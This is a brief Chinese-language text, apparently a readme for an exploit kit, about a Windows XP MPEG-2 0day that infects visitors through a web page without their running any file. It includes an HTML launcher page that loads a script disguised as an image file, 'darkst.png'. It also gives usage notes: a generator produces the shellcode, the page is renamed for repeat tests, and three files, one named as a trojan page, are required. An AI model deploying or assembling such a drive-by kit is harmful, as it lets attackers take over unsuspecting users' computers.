这个MPEG-20Day漏洞要容易利用得多,而且黑客不再需要网民运行任何恶意视频文件就能使其电脑变为任由黑客摆布的“肉鸡”。这种攻击方式更为隐蔽,普通用户更难防范,因而会更容易受到木马产业链等不法分子的青睐。另外,从目前测试的结果来看,由于VISTA、Windows2008以及WIN7使用了SAFESEH/GSCOOKIE技术,该0Day漏洞主要影响的是用户量最大的WindowsXP系统。
<html>
<body>
<div id="DivID">
<script src=’darkst.png’></script>
</body>
</html>
生成器主要负责生成shellcode代码(darkst.png),如果测试一次后 测试第二次不成功请修改html文件名 即可在次测试!
一共三个文件:darkst.png 、 logo.gif 、muma.html 缺一不可.